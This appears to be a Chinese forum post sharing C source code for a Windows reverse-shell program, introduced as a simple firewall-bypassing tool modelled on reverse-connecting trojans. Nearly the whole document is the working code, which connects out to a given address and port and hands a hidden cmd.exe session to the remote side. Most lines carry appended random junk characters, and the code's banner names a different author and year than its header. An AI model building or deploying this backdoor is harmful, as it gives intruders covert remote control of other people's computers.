这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Av^{$9yl
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/* ============================== cTHS Pr?<
Rebound port in Windows NT b>hNkVI
By wind,2006/7 H`njKKdR
===============================*/ 7UejK r
#include X_ne#ZPl
#include 36*"oD=@
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#pragma comment(lib,"wsock32.lib") #gMMhB=
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void OutputShell(); &vLz{
SOCKET sClient; ,icgne1j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mFjX
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void main(int argc,char **argv) _~&6Kb^*
{ *$Z}v&-0k
WSADATA stWsaData; LU l6^JU
int nRet; :@r E&
SOCKADDR_IN stSaiClient,stSaiServer; BDNn~aU#m
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if(argc != 3) -/ ;y*mP
{ zu5'Ex`gQa
printf("Useage:\n\rRebound DestIP DestPort\n"); h
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return; ^&zwO7cS
} ,G!M?@Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); bTHKMaGWC
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dQYb)4ir
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stSaiClient.sin_family = AF_INET; wdS^`nz|
stSaiClient.sin_port = htons(0); );_g2=:#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]@Y8 !
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h$)(-_c3
{ ah1d0eP
printf("Bind Socket Failed!\n"); <|cnQj*
return; mM!'~{r[-
} jGl8y!aM
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stSaiServer.sin_family = AF_INET; K]Q#B|_T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l~;H~h!h/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4*}[h9J}\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;&q}G1
{ I@+h|
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printf("Connect Error!"); svCD&~|K#
return; 9h>nP8
} XAW$"^p
OutputShell(); %'a%ynFs
} 1uZ[Ewl]
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void OutputShell() rL3<r
{ &PaqqU.
char szBuff[1024]; dF:@BEo
SECURITY_ATTRIBUTES stSecurityAttributes; 'iA#lKG
OSVERSIONINFO stOsversionInfo; veAg?N<c
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C8rD54A'M
STARTUPINFO stStartupInfo; $}_N379&
char *szShell; G#gUd'=M
PROCESS_INFORMATION stProcessInformation; lYmqFd~p
unsigned long lBytesRead; -$**/~0zU
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L^bt-QbhO
stSecurityAttributes.lpSecurityDescriptor = 0; 7K,Quq.%+
stSecurityAttributes.bInheritHandle = TRUE; 4z#{nZG
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZQXv-"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u?5d%]*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ) DXN|<A
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0]4kR8R3[
stStartupInfo.wShowWindow = SW_HIDE; %tul(Z~<1
stStartupInfo.hStdInput = hReadPipe; {a^A-Xh[u
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0B fqEAl
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GetVersionEx(&stOsversionInfo); k4fc5P
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switch(stOsversionInfo.dwPlatformId) BZejqDr*
{ |z\5Ik!fF]
case 1: |x@)%QeC
szShell = "command.com"; 7[h_"@_A7
break; XK??5'&{
default: &[:MTK?x!
szShell = "cmd.exe"; ;Pf
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break; [ -"o5!0<
} gNF8&T
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vQ/}E@?u
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send(sClient,szMsg,77,0); nlmc/1C
while(1) bP\0S@1YL
{ oFM\L^Y?$$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); psyxNM=dN#
if(lBytesRead) 7ksh%eV
{ .] mYpz
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9qN4f8R
send(sClient,szBuff,lBytesRead,0); oJa6)+b(3
} YL-/z4g
else Z?X0:WK
{ _OV\W'RrA
lBytesRead=recv(sClient,szBuff,1024,0); w}No ^.I*4
if(lBytesRead<=0) break; 6(awO2{BP
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N`XJA-DE
} 56gpAc
} g?`g+:nug
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return; i)9}+M5
}